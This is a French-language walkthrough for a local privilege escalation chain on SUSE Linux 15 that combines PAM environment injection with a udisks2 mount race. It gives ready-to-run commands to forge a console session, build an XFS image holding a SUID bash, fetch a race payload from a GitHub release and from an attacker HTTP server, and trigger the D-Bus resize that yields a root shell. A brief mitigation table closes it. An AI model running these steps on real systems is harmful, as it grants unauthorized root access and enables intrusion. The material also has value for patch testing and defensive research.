
Chaîne d'exploitation pour l'élévation de privilèges locale sur SUSE Linux, enchaînant une injection d'environnement PAM et une condition de course udisks2 pour obtenir un shell root.
Système d'exploitation cible : openSUSE Leap 15.x / SUSE Linux Enterprise 15.x
Accès requis : Utilisateur local non privilégié avec accès SSH
Résultat : Shell root complet
Ce document détaille l'exploitation manuelle de deux vulnérabilités d'élévation de privilèges locales chaînées, découvertes par l'unité de recherche sur les menaces de Qualys :
~/.pam_environment, permettant à un utilisateur SSH distant d'obtenir le statut Polkit allow_active normalement réservé aux utilisateurs physiquement présents sur la console.libblockdev (utilisé par udisks2) n'applique pas le drapeau nosuid lors du montage temporaire d'un système de fichiers pendant une opération D-Bus Filesystem.Resize, permettant l'exécution d'un binaire SUID depuis un périphérique en boucle contrôlé par l'utilisateur.Chaînées ensemble, ces vulnérabilités permettent à tout utilisateur SSH non privilégié d'élever ses privilèges jusqu'à root sans aucune interaction avec d'autres utilisateurs.
Machine de l'attaquant (Kali Linux) :
xfsprogs installé (sudo apt install xfsprogs -y)gcc disponiblepython3 -m http.server)Machine cible :
udisks2 et polkit installés (par défaut sur ces systèmes)gdbus disponible (fait partie de glib2, installé par défaut)Après avoir obtenu un accès SSH en tant qu'utilisateur non privilégié, confirmez que la cible est vulnérable.
Vérifier le système d'exploitation :
cat /etc/os-release | grep -E "NAME|VERSION"
Le système doit être openSUSE Leap 15.x ou SUSE Linux Enterprise 15.x.
Vérifier que pam_env lit les fichiers utilisateur :
grep "pam_env" /etc/pam.d/common-auth
Recherchez user_readenv=1 ou simplement la présence de pam_env.so. Sur les installations SUSE par défaut, cette option est activée.
Vérifier que udisks2 et polkit sont en cours d'exécution :
systemctl is-active udisks2
systemctl is-active polkit
Vérifier la politique Polkit pour la configuration des périphériques en boucle :
grep -A3 "loop-setup" /usr/share/polkit-1/actions/org.freedesktop.UDisks2.policy
La valeur allow_active doit être yes.
allow_active via l'injection PAMCette vulnérabilité exploite le fait que pam_env.so lit ~/.pam_environment lors de la connexion SSH et injecte ces variables dans l'environnement de session avant que pam_systemd.so n'évalue le contexte de session. En définissant XDG_SEAT et XDG_VTNR, l'attaquant trompe systemd-logind en lui faisant traiter la session SSH distante comme une session de console physique, accordant ainsi les privilèges Polkit allow_active.
Injecter les variables :
echo "XDG_SEAT DEFAULT=seat0" > ~/.pam_environment
echo "XDG_VTNR DEFAULT=1" >> ~/.pam_environment
echo "XDG_SESSION_TYPE DEFAULT=x11" >> ~/.pam_environment
Se déconnecter puis se reconnecter via SSH pour déclencher le traitement PAM :
exit
ssh user@<target_ip>
Vérifier que allow_active est maintenant accordé :
loginctl list-sessions
loginctl show-session <SESSION_ID> | grep -E "Active|Seat|VTNr|Remote"
La sortie doit afficher :
Active=yes
Seat=seat0
VTNr=1
Définir l'ID de session et l'adresse D-Bus s'ils ne sont pas automatiquement renseignés :
export XDG_SESSION_ID=<SESSION_ID>
export DBUS_SESSION_BUS_ADDRESS=unix:path=/run/user/<UID>/bus
L'image XFS doit être formatée avec des fonctionnalités compatibles avec le noyau SUSE 15. Les versions modernes de xfsprogs activent par défaut des fonctionnalités telles que exchange, parent, bigtime, inobtcount et nrext64, qui ne sont pas prises en charge par les anciens noyaux SUSE et provoqueront des échecs de montage. Les drapeaux suivants produisent une image XFS V5 compatible :
dd if=/dev/zero of=/tmp/xfs.image bs=1M count=500
mkfs.xfs -f -m crc=1,reflink=0,rmapbt=0,inobtcount=0,bigtime=0 -i sparse=0,nrext64=0,exchange=0 -n parent=0 -d agcount=4 /tmp/xfs.image
Monter l'image et injecter un binaire bash SUID :
sudo mkdir -p /tmp/mnt
sudo mount -o loop /tmp/xfs.image /tmp/mnt
sudo cp /bin/bash /tmp/mnt/bash
sudo chmod 4755 /tmp/mnt/bash
ls -la /tmp/mnt/bash
sudo umount /tmp/mnt
La sortie doit afficher -rwsr-xr-x 1 root root.
Étant donné que la fenêtre de montage vulnérable pendant Filesystem.Resize ne dure que quelques millisecondes, un binaire C compilé est nécessaire pour la capturer de manière fiable. Une simple boucle Bash est trop lente.
Téléchargez la charge utile pré-compilée depuis la page des versions :
wget https://github.com/m0r4a/CVE-2026-6018-9-Local-Privilege-Escalation-Chain/releases/download/v0.0.1/payload -O /tmp/payload
[!NOTE] Vous pouvez également compiler le binaire vous-même. Le code source est disponible dans payload.c.
Servir les deux fichiers via HTTP :
cd /tmp && python3 -m http.server 8888
# Transférer l'image XFS
wget http://<attacker_ip>:8888/xfs.image -O /tmp/xfs.image
# Transférer le binaire de capture
wget http://<attacker_ip>:8888/payload -O /tmp/payload
chmod +x /tmp/payload
Cette étape nécessite deux sessions SSH simultanées vers la cible.
Configurer le périphérique en boucle (dans l'une ou l'autre session) :
udisksctl loop-setup -f /tmp/xfs.image --no-user-interaction
Notez le périphérique en boucle attribué, par exemple /dev/loop1.
Session 1 : Démarrer le programme de capture et le laisser en cours d'exécution :
/tmp/payload
[!NOTE] Si le programme de capture se termine immédiatement sans produire de shell root, essayez de le démarrer avant de configurer le périphérique en boucle et répétez la séquence.
Session 2 : Déclencher immédiatement le redimensionnement :
export DBUS_SESSION_BUS_ADDRESS=unix:path=/run/user/<UID>/bus
gdbus call --system --dest org.freedesktop.UDisks2 --object-path /org/freedesktop/UDisks2/block_devices/loop1 --method org.freedesktop.UDisks2.Filesystem.Resize 0 "{}"
L'appel Resize renverra une erreur, mais avant d'échouer, libblockdev monte le système de fichiers à un chemin temporaire sous /tmp/blockdev.XXXXXX/ sans le drapeau nosuid. Le programme de capture de la session 1 détecte ce montage, exécute le binaire bash SUID depuis celui-ci, copie un shell root vers /tmp/rootbash et le lance.
[!NOTE] Si vous rencontrez des problèmes avec
Not authorized to perform operation, essayez d'utiliser le terminal que vous avez utilisé avec succès pour exécuter la commandeudiskctl loop-setup...et utilisez l'autre shell pour exécuter le script/tmp/payload.
Une fois le programme de capture terminé, un shell root est soit lancé automatiquement, soit peut être obtenu via :
/tmp/rootbash -p
whoami
# root
| Composant | Correctif |
|---|
| CVE-2025-6018 | Désactiver user_readenv dans PAM : définir user_readenv=0 dans /etc/pam.d/common-auth |
| CVE-2025-6019 | Mettre à jour libblockdev et udisks2 vers les versions corrigées fournies par le distributeur |
| Durcissement Polkit | Changer allow_active en auth_admin pour org.freedesktop.udisks2.loop-setup dans le fichier de politique UDisks2 |